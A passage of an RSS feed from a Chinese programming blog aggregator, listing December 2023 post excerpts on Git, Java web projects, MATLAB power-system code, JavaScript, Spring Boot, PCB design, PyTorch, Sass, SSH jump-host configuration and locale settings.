      <description>Git（读音为/gɪt/）是一个开源的分布式版本控制系统，可以有效、高速地处理从很小到非常大的项目版本管理。也是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。&#xA;1.打开vscode，创建文件夹gittest，在文件夹中创建文件test.txt，并在其中写入版本号v1.0；&#xA;2.在终端输入git version，确认是否已安装git，并随后设置自己的昵称和邮箱；&#xA;确认版本&#xA;git version 设置昵称&#xA;git config --global user.name &#34;*****&#34; 设置邮箱&#xA;git config --global user.email &#34;****&#34; 初始化&#xA;git init 确认状态&#xA;git status 3.存放文件（暂存和提交）；&#xA;暂存单个文件&#xA;git add test.txt 暂存当前文件夹下所有文件&#xA;git add . 提交&#xA;git commit 会在提交过程中打开一个vim文件记录你所修改的提交内容，wq后提交&#xA;查看提交信息&#xA;git log 提交说明简化版操作，通过-m后引号内内容进行描述&#xA;git commit -m &#34;第二次提交&#34; 4.回退版本，首先找到想要回退的版本的commit id，并复制进下述引号内；&#xA;git reset --hard &#34;***&#34; 5.想要在不同版本间切换，则使用branch，用下述代码完成0.2分支的创建；&#xA;git branch 0.2 使用checkout命令不断切换分支.切换到0.2分支；&#xA;git checkout 0.2 可以在分支进行开发后回到master进行合并merge，将0.2分支合并进master中；&#xA;git checkout master git merge 0.2 merge的作用可以令多个功能并行开发，节约时间；</description>
    </item>
    <item>
      <title>2023NEFU实习项目解析 - 中俄贸易供需服务平台</title>
      <link>https://bchobby.github.io/posts/6ccba232b69f673c313de81ae442e705/</link>
      <pubDate>Sun, 17 Dec 2023 17:42:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ccba232b69f673c313de81ae442e705/</guid>
      <description>文章目录 项目概述项目初始化搭建项目初始框架配置Tomcat建立项目数据库编写统一返回类及其工具类编写数据库工具类通过Filter解决Response返回中文乱码问题使用Filter解决权限校验问题 项目主干开发用户登录企业管理（分页查询原生实现）上传VIP申请书模板（文件上传实现）VIP公司的更新操作国际采购管理模块 附：项目值得注意的技术点web.xml文件Jquery&amp;lt; base &amp;gt;：文档根 URL 元素文件上传 附：项目过程中的思考为什么mysql的驱动要使用Class.forName动态加载？ 附：项目可改进点README 项目概述 完成一个中俄贸易服务供需平台后台管理端的后端部分，是一个原生的Javaweb项目，使用到servlet、jsp、jdbc等技术。&#xA;大致分为9个模块：&#xA;VIP企业管理：&#xA;普通企业管理：&#xA;国际采购管理&#xA;国际供应管理&#xA;国际物流管理&#xA;新闻资讯管理 新闻资讯&#xA;外贸助手&#xA;关于我们&#xA;首页管理&#xA;统计分析&#xA;每个模块的大致技术方案：&#xA;项目初始化 搭建项目初始框架 直接创建一个Maven的web项目，然后把前端现成的东西塞进去&#xA;配置Tomcat 配置Tomcat的过程可以参考我的另一篇文章：&#xA;IDEA中使用Tomcat&#xA;注意JDK版本与Tomcat的兼容性&#xA;注意为了提高效率我们要配置tomcat的热重载：&#xA;最后要以Debug模式运行&#xA;但是html的修改还是要重启服务器！&#xA;建立项目数据库 把提前准备好的sql语句放在项目的sql文件夹下，然后配置一下项目的数据源，确认所用的数据库，执行即可：&#xA;编写统一返回类及其工具类 每次返回的时候无需单独构造结果类，更加方便我们返回结果：&#xA;@Data @AllArgsConstructor @NoArgsConstructor public class ResultMsg&amp;lt;T&amp;gt; implements Serializable { private int code; private T obj; private String message; public ResultMsg(int code, T obj) { this(code, obj, &#34;&#34;); } } 工具类：</description>
    </item>
    <item>
      <title>基于多智能体系统一致性算法的电力系统分布式经济调度策略MATLAB程序</title>
      <link>https://bchobby.github.io/posts/35e99264bb65134b2fddfe460190c99e/</link>
      <pubDate>Sun, 17 Dec 2023 17:36:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35e99264bb65134b2fddfe460190c99e/</guid>
      <description>微❤关注“电气仔推送”获得资料（专享优惠）&#xA;参考文献：&#xA;主要内容：&#xA;应用多智能体系统中的一致性算法，以发电机组的增量成本和柔性负荷的增量效益作为一致性变量，设计一种用于电力系统经济调度的算法，通过分布式优化的方式求解经济调度问题。&#xA;程序完全采用论文中的数据，对论文中的4种场景进行了复现。&#xA;场景1 验证了该分布式调度算法与集中式调度算法一样，能收敛到最优解；&#xA;场景2 验证了该分布式调度策略对不同通信拓扑的适应性；&#xA;场景3 验证了该分布式调度策略能够有效应对电力元件功率约束发生作用的情形；&#xA;场景4 验证了该分布式调度策略能够使电力元件具备“即插即用”的能力。&#xA;部分程序：&#xA;%迭代%&#xA;l=[li lj];&#xA;ll=zeros(801,29);&#xA;ll(1,:)=l;&#xA;dp=zeros(1,801);&#xA;dp(1)=spd(1)-spg(1);&#xA;pgg=zeros(801,10);&#xA;pgg(1,:)=pg;&#xA;pdd=zeros(801,19);&#xA;pdd(1,:)=pd;&#xA;for t=1:1:800&#xA;for n=1:1:29 %更新lambda的值&#xA;if n==1&#xA;ll(t+1,n)=sum(a(n,:).*ll(t,:))+0.005*dp(t);&#xA;elseif n==11&#xA;ll(t+1,n)=sum(a(n,:).*ll(t,:))+0.005*dp(t);&#xA;else&#xA;ll(t+1,n)=sum(a(n,:).*ll(t,:));&#xA;end&#xA;end&#xA;for i=1:1:10 %判断pg是否越限并赋值&#xA;if (ll(t,i)-be(i))/(2*ga(i))&amp;gt;=pgmax(i)&#xA;pgg(t+1,i)=pgmax(i);&#xA;elseif (ll(t,i)-be(i))/(2*ga(i))&amp;lt;=pgmin(i)&#xA;pgg(t+1,i)=pgmin(i);&#xA;else&#xA;pgg(t+1,i)=(ll(t,i)-be(i))/(2*ga(i));&#xA;end&#xA;end&#xA;for j=1:1:19 %判断pd是否越限并赋值&#xA;if (ll(t,j+10)-b(j))/(2*c(j))&amp;gt;=pdmax(j)&#xA;pdd(t+1,j)=pdmax(j);&#xA;elseif (ll(t,j+10)-b(j))/(2*c(j))&amp;lt;=pdmin(j)&#xA;pdd(t+1,j)=pdmin(j);&#xA;else&#xA;pdd(t+1,j)=(ll(t,j+10)-b(j))/(2*c(j));&#xA;end&#xA;end&#xA;spg(t+1)=sum(pdd(t+1,:));&#xA;spd(t+1)=sum(pgg(t+1,:));&#xA;dp(t+1)=sum(pdd(t+1,:))-sum(pgg(t+1,:));</description>
    </item>
    <item>
      <title>地平线前端实习一面复盘（加深对var的理解&#43;展开运算符&#43;平拍数组）</title>
      <link>https://bchobby.github.io/posts/9016878b9af8a6eb048e1be34df9ee7a/</link>
      <pubDate>Sun, 17 Dec 2023 16:56:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9016878b9af8a6eb048e1be34df9ee7a/</guid>
      <description>目录 前言一，var的作用二，展开运算符三，平拍数组总结 前言 地平线的面试，有提示，很专业，体验很好。&#xA;可惜后面未收到消息，但还是要做复盘。收获还是很大的。&#xA;一，var的作用 且看下面五个题目：&#xA;// 题目1---4 function test(a) { a = 3 } var a = 4 test(a) console.log(a) // 题目2---4 function test(a) { var a = 3 } var a = 4 test(a) console.log(a) // 题目3---3 function test() { a = 3 } var a = 4 test(a) console.log(a) // 题目4---4 function test() { var a = 3 } var a = 4 test(a) console.log(a) 上面这五个题目，实则是对var的考察。</description>
    </item>
    <item>
      <title>【idea】解决sprintboot项目创建遇到的问题</title>
      <link>https://bchobby.github.io/posts/8985e54e885f8c2289c14d3453d933b7/</link>
      <pubDate>Sun, 17 Dec 2023 16:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8985e54e885f8c2289c14d3453d933b7/</guid>
      <description>目录&#xA;一、报错Plugin ‘org.springframework.boot:spring-boot-maven-plugin:‘ not found&#xA;二、报错java: 错误: 无效的源发行版：17&#xA;三、java: 无法访问org.springframework.web.bind.annotation.CrossOrigin&#xA;四、整合mybatis的时候，报java.lang.IllegalArgumentException: Unable to instantiate org.mybatis.spring.boot&#xA;一、报错Plugin ‘org.springframework.boot:spring-boot-maven-plugin:‘ not found 报错：在使用Maven下载相关包时，出现错误Plugin ‘org.springframework.boot:spring-boot-maven-plugin:‘ not found&#xA;原因：无法识别使用哪个版本的 spring-boot-maven-plugin 包。&#xA;plugin在maven里需要专门的配置，没有配置的时候就会去普通仓库里找，但是plugin不是maven家的，所以找不到，对于这个情况呢，阿里有一个仓库可以下载这个，但是需要在settings.xml里进行配置。&#xA;解决方法：&#xA;在你maven安装地址里面的conf文件夹下面有一个settings.xml文件，右击pom.xml文件，选择maven，选择“open settings.xml ”可以快速打开这个文件。&#xA;对这个settings.xml文件添加下列代码，&#xA;&amp;lt;profile&amp;gt; &amp;lt;id&amp;gt;spring plugins&amp;lt;/id&amp;gt; &amp;lt;activation&amp;gt; &amp;lt;jdk&amp;gt;spring plugins&amp;lt;/jdk&amp;gt; &amp;lt;/activation&amp;gt; &amp;lt;pluginRepositories&amp;gt; &amp;lt;pluginRepository&amp;gt; &amp;lt;id&amp;gt;spring plugins&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;Spring plugins&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://maven.aliyun.com/repository/spring-plugin&amp;lt;/url&amp;gt; &amp;lt;layout&amp;gt;default&amp;lt;/layout&amp;gt; &amp;lt;snapshotPolicy&amp;gt;always&amp;lt;/snapshotPolicy&amp;gt; &amp;lt;/pluginRepository&amp;gt; &amp;lt;/pluginRepositories&amp;gt; &amp;lt;/profile&amp;gt; 保存settings.xml文件，退出。&#xA;在pom.xml文件中，使用 &amp;lt;pluginManagement&amp;gt; 标签管理插件。具体做法是在原来的 &amp;lt;plugins&amp;gt; 标签外层增加 &amp;lt;pluginManagement&amp;gt; 标签，如下所示。&#xA;二、报错java: 错误: 无效的源发行版：17 原因：POM文件中配置的JDK版本信息 与 &#34;Project Structure&#34; 窗口配置的JDK版本 不一致。&#xA;比如在本案例中，POM文件配置的JDK版本为17，而Project Structure&#34;</description>
    </item>
    <item>
      <title>PADS9.5 : 原理图网表导出 及 PCB 网表导入</title>
      <link>https://bchobby.github.io/posts/48a1774a4c8a65c15334f9ca464e288e/</link>
      <pubDate>Sun, 17 Dec 2023 16:09:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48a1774a4c8a65c15334f9ca464e288e/</guid>
      <description> 原理图网表导出 PCB 网表导入 </description>
    </item>
    <item>
      <title>PADS9.5 : 原理图电源网络 和 地网 络添加</title>
      <link>https://bchobby.github.io/posts/fb76cebba8d7b2bb9cddefc20b2d20f0/</link>
      <pubDate>Sun, 17 Dec 2023 16:00:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb76cebba8d7b2bb9cddefc20b2d20f0/</guid>
      <description>原理图电源网络 和 地网 络添加 添加电源网络 1、点击连线&#xA;2、2、连线&#xA;3、3、连线时，右键&#xA;4、4、点击电源，因为该网络已经有3.3v，它会弹出网络确认，确定即可，如果 需要其他电源网络，双击即可修改&#xA;5、双击 修改网络&#xA;添加电源网络 同理 右键选择 接地</description>
    </item>
    <item>
      <title>PADS9.5 : 原图绘图图纸尺寸下修改</title>
      <link>https://bchobby.github.io/posts/45cb3166ccc5ea3145954192a085092f/</link>
      <pubDate>Sun, 17 Dec 2023 15:50:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45cb3166ccc5ea3145954192a085092f/</guid>
      <description>原图绘图图纸尺寸下修改 图页边界线也要修改&#xA;如果二者选择不一致：&#xA;会出现下图所示情况：</description>
    </item>
    <item>
      <title>excel手撕BP神经网络（只需高中数学基础）</title>
      <link>https://bchobby.github.io/posts/b2c4fd782bbb93690a202a6dcdf3fca9/</link>
      <pubDate>Sun, 17 Dec 2023 15:34:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2c4fd782bbb93690a202a6dcdf3fca9/</guid>
      <description>神经网络最基础部分是由神经元组成，一个神经元相当于是一个一次函数，y=ax+b&#xA;即在已知x，和y情况下，怎么使用神经网络求解a和b&#xA;如下是使用excel求解的神经网络，可以方便理解神经网络运行原理&#xA;excel BP神经网络下载地址&#xA;0 excel数据及任务 构造了如下数据，x0,x1,x2和y_true。其中x0,x1,x2对应真实wTrue(w0,w1,w2)如表格所示（表格数据都可以修改，公式已经编辑好），&#xA;即 y=x0 * wt0 + x1 * wt1 + x2 * wt2任务；需要使用神经网络计算出真实的w 1 神经网络求解步骤： 已知 x 和y&#xA;1 随机初始化wi&#xA;初始化w全为0, w00=0,w01=0,w02=0 （为了简化，只考虑w,不考虑b）2 将x带入 a和b参数函数，得到y的预测值y_pred&#xA;y_pred=x0w00+x1w01+x2*w023 将预测y_pred与真实值y进行对比，构建损失函数（刚开始，随机的w误差肯定很大）&#xA;loss= ( y _ p r e d − y _ t r u e ) 2 (y\_pred-y\_true)^2 (y_pred−y_true)24 对损失函数求导，使用梯度下降更新参数w.&#xA;导数&#xA;w00导数：dy_dw00: 2*(y_pred-y_true)x0&#xA;w01导数：dy_dw01: 2(y_pred-y_true)x1&#xA;w02导数：dy_dw02: 2(y_pred-y_true)*x2&#xA;步长：lr=0.001&#xA;新的 w00= w00-lr * dy_dw00&#xA;新的 w01= w01-lr * dy_dw01</description>
    </item>
    <item>
      <title>屏幕超时休眠-Android13</title>
      <link>https://bchobby.github.io/posts/42ef7c26dbffe83d166337ebfc50277e/</link>
      <pubDate>Sun, 17 Dec 2023 15:21:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42ef7c26dbffe83d166337ebfc50277e/</guid>
      <description>屏幕超时休眠-Android13 1、设置界面1.2 属性值1.2.1 默认值1.2.2 最小值限制 1.3 属性值疑问 Settings.System.SCREEN_OFF_TIMEOUT 2、超时灭屏2.1 锁定屏幕的超时2.2 屏幕灭屏的超时 3、永不休眠* 关键日志 1、设置界面 packages/apps/Settings/src/com/android/settings/display/ScreenTimeoutSettings.java&#xA;packages/apps/Settings/res/xml/screen_timeout_settings.xml&#xA;12-16 12:13:54.707 7976 7976 D SettingsActivity: Switching to fragment com.android.settings.display.ScreenTimeoutSettings 1.2 属性值 Settings.System.SCREEN_OFF_TIMEOUT&#xA;adb shell settings get System screen_off_timeout packages/apps/Settings/res/values/arrays.xml&#xA;&amp;lt;!-- Display settings. The delay in inactivity before the screen is turned off. These are shown in a list dialog. --&amp;gt; &amp;lt;string-array name=&#34;screen_timeout_entries&#34;&amp;gt; &amp;lt;item&amp;gt;15 seconds&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;30 seconds&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;1 minute&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;2 minutes&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;5 minutes&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;10 minutes&amp;lt;/item&amp;gt; &amp;lt;item&amp;gt;30 minutes&amp;lt;/item&amp;gt; &amp;lt;/string-array&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>Matlab下地形图绘图包m_map安装与使用</title>
      <link>https://bchobby.github.io/posts/e5616c085c1048113a478d684864c2c7/</link>
      <pubDate>Sun, 17 Dec 2023 13:45:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5616c085c1048113a478d684864c2c7/</guid>
      <description>〇、引言 m_map是Matlab下用于绘制地图（地形图）的工具箱，和GMT有些相似。&#xA;1. 文档 m_map官网：https://www.eoas.ubc.ca/~rich/mapug.html&#xA;用法可以参考百度文库中的官网翻译版：M_Map1.4用户指南&#xA;https://wenku.baidu.com/view/32b9c4c8d4d8d15abf234e06.html&#xA;也可以参考CSDN这位老兄的翻译版：m_map中文文档&#xA;https://blog.csdn.net/good_learner_1/article/details/88767974?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-3&amp;amp;spm=1001.2101.3001.4242&#xA;2. 推荐教程 再推荐本人写的几个详细教程：&#xA;m_map绘制晕渲（shaded relief）地形图m_map绘图包绘制高分辨率海岸线、国界线与河流m_map绘图之添加线段比例尺函数m_rulerm_map如何绘制矩形等距投影图m_map绘制点、线m_map绘图添加遥感图片m_map导入本地地形数据m_map绘制多波束数据 一、官网绘图展示 二、下载与安装 1. 下载 进入m_map官网：https://www.eoas.ubc.ca/~rich/mapug.html&#xA;下载tar压缩文件或者zip压缩文件。&#xA;2. 安装 将m_map工具包解压后放在matlab的toolbox中，添加路径即可。&#xA;对matlab不了解的话，可参考：M_Map绘图笔记——安装（一）&#xA;https://blog.csdn.net/wokaowokaowokao12345/article/details/88354118&#xA;三、高分辨率地形与海岸线数据加载 m_map自带的底图数据分辨率只有1°，较低，在绘制区域地形图时分辨率无法满足要求，需要额外加载高分辨率的地形数据。如下：&#xA;1. 高分辨率海岸线数据文件下载 从NOAA官网下载1分（1’）分辨率的海岸线数据： https://www.ngdc.noaa.gov/mgg/shorelines/gshhs.html&#xA;下载二进制（bin）格式的zip压缩文件：&#xA;2. 高分辨率地形数据文件下载 从NOAA官网下载1分（1’）分辨率的地形数据 https://www.ngdc.noaa.gov/mgg/global/relief/ETOPO1/data/ice_surface/grid_registered/binary/&#xA;有32位浮点型（4字节），即f4，和16位整型（2字节），即i2两种格式。推荐选第二种：i2。 3. 数据解压 下载好这两个数据后分别解压，建议放在matlab的安装目录下，我在matlab的安装目录下新建了一个work文件夹，再把下载的m_map文件解压后放在work目录下。然后，在m_map目录下建立了etopo1和coastline文件夹（文件名随便起），本别放置地形数据和海岸线数据。&#xA;4. 路径设置 然后需要设置二者（1分的地形与海岸线数据）的路径，才可以自动调用。打开以下m文件m_etopo2.m：&#xA;把其中的&#xA;PATHNAME=&#39;/ocean/rich/more/mmapbase/etopo1/&#39;; 改成自己的地形数据放置路径，比如我的是/m_map/etopo1/：&#xA;PATHNAME=&#39;D:/install/MATLAB2019a/work/m_map/etopo1/&#39;; 这样，地形数据路径就设置好了。&#xA;同理，打开m_gshhs.m，将路径改为自己的海岸线数据放置路径，比如我的是/m_map/coastline/：&#xA;FILNAME=&#39;D:/install/MATLAB2019a/work/m_map/coastline/&#39;; 到此安装就大功告成！！！&#xA;四、用法 1. 设置投影方式 m_proj(‘mercator’); 2. 查看投影方式类别 m_proj(‘set’); 3. 如何选择投影方式 全球：&#xA;m_proj(‘mercator’); m_proj(‘miller’); m_proj(‘hammer’); m_proj(‘Mollweide’); 国家：&#xA;m_proj(‘robinson’); 纬度跨度大，经度跨度小：&#xA;m_proj(‘sinusoidal’); m_proj(‘Mollweide’); 小区域（如地中海，中国）：</description>
    </item>
    <item>
      <title>Pytorch中的contiguous问题</title>
      <link>https://bchobby.github.io/posts/fa8225af4a3b17ee149a33182e29e3a5/</link>
      <pubDate>Sun, 17 Dec 2023 12:11:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa8225af4a3b17ee149a33182e29e3a5/</guid>
      <description>在有的程序中，如果对view、transpose、permute等维数变换操作不恰当，就容易引起&#xA;&#34;RuntimeError: : dimension must be contiguous&#34;的错误。在连续性中，有两个常用方法，x=x.contiguous()使一个tensor变连续；x.is_contiguous()是检查x内存是否连续，准确地讲是检查内存排列顺序与以行优先的内存排列顺序是否一致，如果一致则返回True，否则返回False。什么意思呢？我们首先来看个例子：&#xA;x = torch.tensor([[1,2,3,4],[5,6,7,8]]) output： tensor([[1, 2, 3, 4], [5, 6, 7, 8]]) 那在计算机内存中是如何存储这个矩阵的呢？它是以行展开成一维数组进行存储，称为&#34;按行优先&#34; ，这&#xA;与C和C++的存储方式一致，而有的程序就是&#34;按列优先&#34;如matlab。现在，我们按行优先拉直这个矩阵，&#xA;x = x.flatten() output: tensor([1, 2, 3, 4, 5, 6, 7, 8]) 这就是内存存储方方式。如果我们要访问这个矩阵的下一个元素，则偏移一个单位就可以了，这个偏移量&#xA;我们称为步长(stride=1),但如果是“按列优先”，则stride就不等于1了，因为：&#xA;y = x.t()#相当于将x按列优先存储 output: tensor([[1, 5], [2, 6], [3, 7], [4, 8]]) 同样，拉直矩阵有：&#xA;y = y.flatten() output： tensor([1, 5, 2, 6, 3, 7, 4, 8]) 这个时候，如果&#34;按列优先&#34;存储，则矩阵访问下一元素也就2，其步长stride=2对内存方法有一个初步了解之后，我们现在来看一下is_contiguous到底在检查什么？&#xA;x = torch.tensor([[1,2,3,4],[5,6,7,8]]) output： tensor([[1, 2, 3, 4], [5, 6, 7, 8]]) #检查连续性 x.</description>
    </item>
    <item>
      <title>sass/scss 浅谈</title>
      <link>https://bchobby.github.io/posts/ef94de4972e420a507b8721aaefd3231/</link>
      <pubDate>Sun, 17 Dec 2023 11:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef94de4972e420a507b8721aaefd3231/</guid>
      <description>目录&#xA;前言&#xA;一、了解 sass&#xA;1、特点&#xA;2、语法格式&#xA;二、Sass 的语法&#xA;1、嵌套&#xA;（1）、最简单的嵌套实例&#xA;（2）、父选择器——&amp;amp; 符&#xA;（3）、属性嵌套&#xA;（4）、占位符选择器 %foo&#xA;2、注释&#xA;（1）、多行注释 /* */ 与 单行注释 //&#xA;（2）、! 符 —— 压缩输出模式下保留的注释&#xA;（3）、注释中使用插值语句输出变量值&#xA;3、SassScript——变量、运算&#xA;（1）、$ 符 —— 变量&#xA;（2）、数据类型&#xA;（3）、运算&#xA;（4）、圆括号&#xA;（5）、 &amp;amp; 在 SassScript 中&#xA;（6）、变量定义 !default&#xA;4、函数&#xA;（1）、最简单的 SassScript 函数&#xA;（2）、带参数变量的 SassScript 函数&#xA;（3）、函数中使用 插值表达式 #{}&#xA;（4）、自定义 Sass 函数——函数指令 @function&#xA;5、@-Rules 与指令&#xA;（1）、@import —— 导入文件&#xA;（2）、@media —— 媒体查询&#xA;（3）、@extend —— 继承（难点）&#xA;（4）、@at-root&#xA;（5）、@debug（了解）</description>
    </item>
    <item>
      <title>linux笔记--VSCode利用交换机跳转服务器</title>
      <link>https://bchobby.github.io/posts/65e559bd222218e0f478396cea66b321/</link>
      <pubDate>Sun, 17 Dec 2023 10:44:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65e559bd222218e0f478396cea66b321/</guid>
      <description>目录&#xA;1--前言&#xA;2--VSCode设置&#xA;3--ssh连接&#xA;1--前言 博主学校的服务器有两个，其中一个服务器（14）可以通过挂内网VPN来进行连接，但另一个服务器（15）即使挂了VPN也不能连接，只能通过内网进行连接。&#xA;当不在学校时，就无法顺利连接服务器（15），可以通过将服务器（14）设置为跳转机，通过服务器（14）来间接连接服务器（15）；&#xA;2--VSCode设置 VSCode SSH设置：&#xA;Host JumpMachine # 跳板机的ip地址 HostName ip_A # 你跳板机的用户名 User user_A # 跳板机登录端口 Port port_A Host TargetMachine # 目标机的ip地址 HostName ip_B # 你目标机的用户名 User user_B # 目标机登录端口 Port port_B ProxyCommand C:\Windows\System32\OpenSSH\ssh.exe -W %h:%p JumpMachine 设置实例：通过 172.25.73.14 服务器来间接连接服务器 172.25.73.15；&#xA;Host JumpMachine HostName 172.25.73.14 Port 22 User liujinfu Host TargetMachine HostName 172.25.73.15 Port 50122 User liujinfu ProxyCommand ssh -W %h:%p JumpMachine 3--ssh连接 只需在 VSCode 按正常操作来连接服务器 TargetMachine，就可以顺利跳转；</description>
    </item>
    <item>
      <title>Spring Boot 创建你自己的自动配置中文文档</title>
      <link>https://bchobby.github.io/posts/cab41f6aa4e2bc3c8f93cb7a17e7f643/</link>
      <pubDate>Sun, 17 Dec 2023 09:45:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cab41f6aa4e2bc3c8f93cb7a17e7f643/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;Spring Boot 创建你自己的自动配置中文文档 引言了解自动配置 Bean查找自动配置候选对象条件注释Class ConditionsBean ConditionsProperty ConditionsResource ConditionsWeb Application ConditionsSpEL Expression Conditions 测试你的自动配置模拟Web Context覆盖 Classpath 创建你自己的 Starter命名配置 keysautoconfigure 模块Starter 模块 引言 如果您在开发共享库的公司工作，或者如果您在开发开源或商业库，您可能想开发自己的自动配置。自动配置类可以捆绑在外部 jar 中，但仍会被 Spring Boot 接收。&#xA;自动配置可以与 “starter” 相关联，“starter” 提供自动配置代码以及与之配合使用的典型库。我们首先介绍构建自己的自动配置所需的知识，然后介绍创建自定义启动器所需的典型步骤。&#xA;了解自动配置 Bean 实现自动配置的类用 @AutoConfiguration 进行注解。该注解本身用 @Configuration 元注解，使自动配置成为标准的 @Configuration 类。附加的 @Conditional 注解用于限制何时应用自动配置。通常，自动配置类使用 @ConditionalOnClass 和 @ConditionalOnMissingBean 注解。这样可以确保自动配置仅在找到相关类且未声明自己的 @Configuration 时才会应用。&#xA;您可以浏览 spring-boot-autoconfigure 的源代码，查看 Spring 提供的 @AutoConfiguration 类（参见 META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports 文件）。&#xA;查找自动配置候选对象 Spring Boot 会检查发布的 jar 中是否存在 META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports 文件。该文件应列出配置类，每行一个类名，如下例所示：&#xA;com.mycorp.libx.autoconfigure.LibXAutoConfiguration com.mycorp.libx.autoconfigure.LibXWebAutoConfiguration 您可以使用 # 字符为导入文件添加注释。</description>
    </item>
    <item>
      <title>v-bind in vue style</title>
      <link>https://bchobby.github.io/posts/b2bdd091634fa7cfd2e05a5ff5585ab3/</link>
      <pubDate>Sun, 17 Dec 2023 09:12:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2bdd091634fa7cfd2e05a5ff5585ab3/</guid>
      <description>Problem example I find an example in a book, it display how to use v-bind in the style section, the code is like below:&#xA;h1 { margin-top: v-bind(headingStyles.marginTop); text-align: v-bind(headingStyles.textAlign); color: v-bind(headingStyles.color); } Vue Example But it has compile error, after look into the example in the Vue document v-bind() in CSS&#xA;The example is like below:&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;text&#34;&amp;gt;hello&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { color: &#39;red&#39; } } } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; .</description>
    </item>
    <item>
      <title>2机5节点系统潮流MATLAB仿真</title>
      <link>https://bchobby.github.io/posts/06ce144cd180ecd01dac1953cdca44e3/</link>
      <pubDate>Sun, 17 Dec 2023 06:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06ce144cd180ecd01dac1953cdca44e3/</guid>
      <description>微❤关注“电气仔推送”获得资料（专享优惠）&#xA;电力系统潮流计算是电力系统最基本的计算，也是最重要的计算。所谓潮流计算，就是已知电网的接线方式与参数及运行条件，计算电力系统稳态运行各母线电压、各支路电流、功率及网损。对于正在运行的电力系统，通过潮流计算可以判断电网母线电压、支路电流和功率是否越限，如果有越限，就应采取措施，调整运行方式。对于正在规划的电力系统，通过潮流计算，可以为选择电网供电方案和电气设备提供依据。潮流计算还可以为继电保护和自动装置整定计算、电力系统故障计算和稳定计算等提供原始数据。&#xA;主体仿真模型：&#xA;仿真结果：</description>
    </item>
    <item>
      <title>手写Promise</title>
      <link>https://bchobby.github.io/posts/0b57078031562252863137d051c694e5/</link>
      <pubDate>Sun, 17 Dec 2023 03:02:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b57078031562252863137d051c694e5/</guid>
      <description>class P { // 定义promise的三个静态属性 static pedding = &#39;pedding&#39;; static fulfilled = &#39;fulfilled&#39;; static rejected = &#39;rejected&#39;; constructor(fn) { // 初始状态为pedding this.status = P.pedding; // 返回的结果先定义为null，随后要进行赋值 this.result = null; // 为了解决异步的 this.successCallback = []; this.failedCallback = []; // 利用错误捕获，实现throw err的功能 try { // 利用bind绑定this, 解决this丢失的问题 fn(this.resolve.bind(this), this.reject.bind(this)); } catch (error) { this.reject(error); } } resolve(result) { setTimeout(() =&amp;gt; { if (this.status === P.pedding) { this.status = P.fulfilled; this.result = result; this.</description>
    </item>
    <item>
      <title>setlocale(LC_ALL,““) 中的 LC_* 是什么意思，以及 LANGUAGE/LANG 都是些啥？</title>
      <link>https://bchobby.github.io/posts/253a911c4a0868d69cc17e93404d1624/</link>
      <pubDate>Sun, 17 Dec 2023 01:42:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/253a911c4a0868d69cc17e93404d1624/</guid>
      <description>这些都是个啥？ 上面提到的种种，实际上都是 区域 设置相关的东西，因此今天我们所提到的东西都和区域有关。&#xA;首先 setlocale(...) 是啥？ setLocale(...) 是C库中的一个设置地域化信息的C函数。&#xA;函数原型为：&#xA;char *setlocale(int category, const char *locale) 参数解释：&#xA;category – 这是一个已命名的常量，指定了受区域设置影响的函数类别，可以设置为以下值。&#xA;LC_ALL // 包括下面的所有选项。&#xA;LC_COLLATE // 字符串比较。参见 strcoll()。&#xA;LC_CTYPE // 字符分类和转换。例如 strtoupper()。&#xA;LC_MONETARY // 货币格式，针对 localeconv()。&#xA;LC_NUMERIC // 小数点分隔符，针对 localeconv()。&#xA;LC_TIME // 日期和时间格式，针对 strftime()。&#xA;LC_MESSAGES // 系统响应。&#xA;locale – 如果 locale是 NULL 或空字符串 &#34;&#34;，则区域名称将根据环境变量值来设置，其名称与上述的类别名称相同。&#xA;一般程序遇到编码方面的问题，百度都会告诉你设置setlocale(LC_ALL,&#34;&#34;)来解决，下面我们就了解一下这句代码做了什么.&#xA;LC_ALL，LE_* 又是个啥？ 实际上 LC_ALL，LE_* 是 区域 相关的环境变量。简而言之，LC_COLLATE，LC_TYPE等等都是环境变量。&#xA;很多程序的运行行为在全球不同的地域、语言环境中是不一样的，例如Linux 中的 date命令的行为就受LC_TIME的影响：&#xA;$ LC_TIME=en_US.UTF-8 date Fri Oct 31 19:51:16 CST 2014 $ LC_TIME=fi_FI.</description>
    </item>
    <item>
      <title>LANG,LC_ALL,locale详解</title>
      <link>https://bchobby.github.io/posts/0500887b45c26444af60352960cfbab8/</link>
      <pubDate>Sun, 17 Dec 2023 01:38:31 +0800</pubDate>
